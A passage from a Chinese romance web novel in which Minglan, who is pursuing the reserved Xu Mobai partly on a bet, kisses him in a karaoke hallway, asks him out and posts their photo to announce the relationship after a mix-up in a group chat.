她牌技不算好,许墨白走了后她和江琳茜一组,只勉强赢了一把,后面就不行了。 因为对家的周少爷杀红了眼,逮着她,追杀得片甲不留。 明斓倒是一副无所谓的样子,输了也乐呵呵的,只是旁边江琳茜的心在滴血,姑奶奶啊,这输的都是她的钱。 江琳茜低头给明斓发微信:“还看不出来你未婚夫在生气,赶紧去哄哄吧,不然我要穷的和弟弟去开房的钱都没了。” 发过去后,桌面上周凛让的手机屏亮起一瞬,他看一眼,又冷着脸放下了。 _ 卫生间。 许墨白低头,双手撑在水池旁,水流哗啦啦往下流。 他俯身捧起一把凉水浇到脸上,额发浸湿,水流顺着流畅下颌往下滴落。 他的小腿还停留着女孩子微凉的体温,她的脚尖滑凉柔腻,像条小蛇攀进他的裤腿,毫无遮掩地缠裹着他。 不由联想到那个梦。 抱着洁白玫瑰花朝他笑的女孩。 他想抚摸她光滑如玉的小腿,纤细不堪一握的腰肢,光滑平整的锁骨,鲜红欲滴的嘴唇…… 冷静一会,他关了水龙头,看着镜子里额发湿透,双眼通红的自己。 太狼狈了。 他狠狠搓了搓脸。 _ 许墨白回到包厢时察觉氛围有些奇怪,十几个人的眼睛齐刷刷地一同朝圆桌方向看过去。 有女生过来好心提醒他:“那边火葬场,别去凑热闹,我们这安全,来这坐。” 还有人贴心替他们点了首背景音乐《月亮惹的祸》。 “……” 明斓被江琳茜这个老六气得血压飙升,从桌底下狠狠捏她大腿:“你发的什么,快撤回。” 江琳茜一脸无辜地打开微信,她刚刚给明斓发的那句话,居然不小心发到群里去了。 她手忙脚乱一通乱点想撤回,一紧张,哦豁,删……删除了。 但江琳茜是何等人,见惯了大场面。 这点小事这么可能为难不到她。 这一刻她的大脑飞速运转,只0.01秒就想到了应对策略,翻开群聊人员信息,对着许墨白的头像点了个减号,把人踢出群。 许墨白:“……” 明斓:“?” 这是什么掩耳盗铃的操作。 我特么真是谢谢你。 15. 月亮 包厢里特别吵,乌烟瘴气,吵的明斓脑袋都大了,她把牌往桌上一摔,没说一句话,起身就要离开。 江琳茜以为她生气了,心下一凛,三两下过去抱住她的肩,挤眉弄眼的哭嚎:“对不起我真的知道错了,求你原谅我。” 明斓无语:“我去卫生间。” “哦,去卫生间啊,要我陪你吗?”江琳茜讪讪道。 “不用。” 包间内重回寂静。 许墨白并不认识明斓的朋友们,明斓前脚刚走他也跟着起身,旁人没查出什么猫腻,只是当他的手握住门把时,身后周凛让喊了他一声:“许墨白。” 许墨白顿住,回身看他。 周凛让听过许墨白的名字,但他没当回事,在他眼中许墨白甚至连情敌都算不上,两人都不是一个圈子,明斓一时对他感兴趣,不过是图新鲜罢了,等玩够腻了就踢开,对他构不成什么威胁。 “斓斓不可能喜欢你,如果你不想日后伤心,劝你不要飞蛾扑火,懂吧?” 周凛让心里早憋了一万句脏话,但他觉得骂出来有失风度,于是点到为止,觉得如果他够聪明,一定能明白他的劝告,主动离开。 与他隔了一张牌桌的许墨白与他对视着,脸上神色变得冷冽。 “不懂。” 看来是不懂他的忠告。 周凛让攥紧了拳头,维持冷静:“不懂我就把话再说清楚一点,你根本配不上她,你们不合适。” 不合适。 李菁菁也说过这样的话。 究竟是多么不合适,能令所有的人一而再再而三的提醒他,拿着淬毒的匕刃,往他满目疮痍的心上剜下鲜血淋漓一刀。 他沉默了会,终于开口,偏冷的声线像夜空中猝然点燃的火星子:“合不合适不是由你说了算的。” 说完摔门离去,他没有刻意去寻找明斓,却在走廊拐弯处,看到她背靠在墙上,安安静静像在等着他的到来。 脚步声临近,明斓弯着眼睛看向他,唇角上翘的弧度完美又勾人。 许墨白感觉自己像一只落入陷阱被围困的幼兽。 “许墨白。”明斓并不关心他有没有看到群里江琳茜发错的消息,她只是觉得时机够了,该收网了。 她一步步朝他走过去,先发制人:“你跟踪我?” 许墨白皱了皱眉,这下他是真的有点生气了,但不是对她,他只是气为什么所有人都觉得他们不合适。 但他生气时不会发火也不会骂人,只是不说话,用一种极其冷淡的眼神看着她。 明斓忍不住笑起来,见好就收:“你怎么还是这么不经逗,我跟周凛让没什么的,你别吃醋。” 许墨白仍是一双冷淡的眸子。 “哦,还有,你刚来看到的那个男生是周凛让带来的朋友,他很喜欢我的画所以想和我合影,看着是离得近但根本就没有搂搂抱抱。这个醋也别吃,我对他们一点点兴趣都没有,我也没有什么planB,我只有你,只喜欢你的,乖乖。” 许墨白的脸又一次红到了脖子,半个字都没听进去,脑子里盘桓着“乖乖”两个字:“你……你别这么叫我。” 明斓又朝他靠近一步:“好啊,那我想让我叫你什么……白白,还是墨墨?” 许墨白:“你……” 明斓垫脚问他:“我怎么了?” 许墨白有些绝望地闭上眼睛,喉结上下滑动,好半晌他才再次睁开眼,声音很低:“明斓,你到底要做什么?” 明斓一双亮晶晶的鹿眼缓慢睁大,似是不可置信:“到底是你傻还是我傻,我都这么明显了你还看不出来吗?我当然是在追你啊。” 她说的话在他意料之中。 但许墨白眼中的迷茫仍未消散:“为什么是我?” “当然是因为……” 明斓又往前靠近几分,呼吸洒在他锁骨,许墨白只觉大脑有些短路,周遭什么都感觉不到了,只有她轻柔的呼吸和洗发水的淡香。 他微垂下眼与她对视,这一刻,他从她眼中看到了胜券在握的笑意。 他顿了一下,来不及细思,明斓已经倾身吻住了他。 唇上覆下一片柔软的触感。 许墨白摇摇欲坠的理智在这一刻轰然溃败,周身血液澎湃。 像是梦境场景再现,他一时有点分不清是现实还是做梦。 许墨白一动不敢动,他想推开她,可女孩子的身子柔软的像是棉花,那样柔软又柔弱的靠在他身上,像是被他轻轻碰一下就会碎掉。 理智让他后撤,可情感却令他的身体动弹不得,他的犹豫令明斓有机会得寸进尺。她纤细的胳膊像藤蔓一样攀着他,一寸寸撬开他严防死守的城门,迫他缴械投降。 明斓并没有接吻经验,这个吻只停留在蜻蜓点水的碰触,可她又不满足于此,于是她试探地张开口,可是也不得其法,含住他的唇瓣吮吸一下,发出暧昧的一声“啵”。 许墨白如梦初醒,握住她的肩把人推远,唇瓣分离拉出短暂的银丝。 明斓有点缺氧,踉跄几步站稳,唇上的口红晕开小片,像是破损的花瓣,而花瓣的另一半印在了他的唇上。 “这个理由可以吗?”明斓细微喘息着,笑嘻嘻的说:“我喜欢你,许墨白。” 这句话她在梦里对他说过。 所以现在也是梦吗? 许墨白显然还没有从刚刚那个极具冲击性的吻中回过神,呼吸早已错乱,时间一秒秒过去,他心脏的跳动频率非但没有回落反而越来越快。 “你要不要和我交往?” 明知这份喜欢很可能是假的,是她在捉弄他,是她一时兴起,可许墨白在这一刻不可否认的心动了,他一步步沦陷在她的陷阱,甘之如饴。 看他依旧沉默,明斓轻声喊他名字,在他眼前挥手:“你没事吧,完了,不会被我亲傻了吧。” 许墨白这才回过神来,抬手用手背蹭掉唇上的口红印,有些无措地看向明斓。 “要和我在一起吗?” 许墨白定定地看着她,眼中终于不是幽暗空洞的,有了流光溢彩,像是孤寂无垠的湖面,因她泛起了波涛。 他动情了。 明斓弯唇笑了,她喜欢极了他因她失神心动的样子。 太迷人了。 “不说话什么意思,好过分,这可是人家的初吻。”明斓上前用食指勾住他的领口,嗔怪:“所以你准备这样亲完就不负责了?” 许墨白不知作何反应。 他退开一些,哑着嗓子对她说:“明斓,我一无所有,我和你……不合适的。” 是的,他们不合适。 所有人都这样说。 明斓却说:“你一无所有,而我除了你什么都有,你和我在一起,就拥有全世界了啊,这多么合适,我们简直天生一对。” 许墨白哑口无声,居然还能这么理解。 可也莫名的,他心头的阴霾又因她这番话被清扫大半。 他觉得自己简直不正常了,这几天,他的心情像过山车一样,因她只言片语,在云霄和谷底穿梭 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明斓低头操作着手机:“官宣就是把我们的关系介绍给双方的朋友。” 许墨白想起刚刚从包厢离开时拦住他的男生,一种恶劣的胜负欲涌上心头,没有拒绝,顺从的点了点头。 “看这里。”明斓一只手搂住他的胳膊,巧笑嫣然,亲昵依靠在他身侧:“你太高了,低一点,不然我们两个进不到同一个画框。” 因为身高差,许墨白只露出半张脸,他只得屈了屈腿,弯下腰,明斓笑道:“三、二、一……” 闪光灯亮起瞬间,许墨白忽然偏头,吻到了她的额头,画面在此刻定格。 明斓呆愣的捂着额头扭头看他,走廊上的冷色灯光昏昧,给许墨白的周身笼上一层清冷的滤镜,他看着她,喉结上下滑动几分,吐息仍有些不自然:“是你先亲我的,礼尚往来。” 明斓是万万想不到人学坏居然这么快。 当然明斓也没觉得有问题,低着头操作手机,问他:“照片发你一份,你也官宣一下?” 许墨白点头:“好。” 明斓顺手转发给他,又忙着打开p图软件,她习惯换个滤镜,再贴个卡哇伊的贴纸。 完成后她看了眼时间,离一周还差好几个小时呢,她这应该算提起完成任务了吧。 当着许墨白的面,她直接把二人照片发了朋友圈,【抓到了】还嚣张的手动@江琳茜。 小妮子你这声爸爸免不了。 做完这些她就把手机揣起来了,像是完成了件大任务般深呼一口气。 两人面对面站着,突然身份的转变令两人都有点尴尬,明斓笑得双眸弯弯,挽着他胳膊的手一直没有松开。 还是她主动打破了僵局,她笑得腼腆,像个害羞的小女孩,明明她才是那个强硬跟人表白的那个:“我有点饿了。” “走吧,带你去吃饭。” 许墨白主动牵起她的手,拉着她往外面走。 他的手掌很大,能将她整个的小手揣进手心,温热的还有点痒。 “吃什么?。” “你想吃什么?” “再去那家店吃小龙虾,好不好?” “嗯,但你不能喝酒。” “好,只吃虾不喝酒。” 明斓跟着他,口袋中手机不停震动,一定是江琳茜她们,也就没管。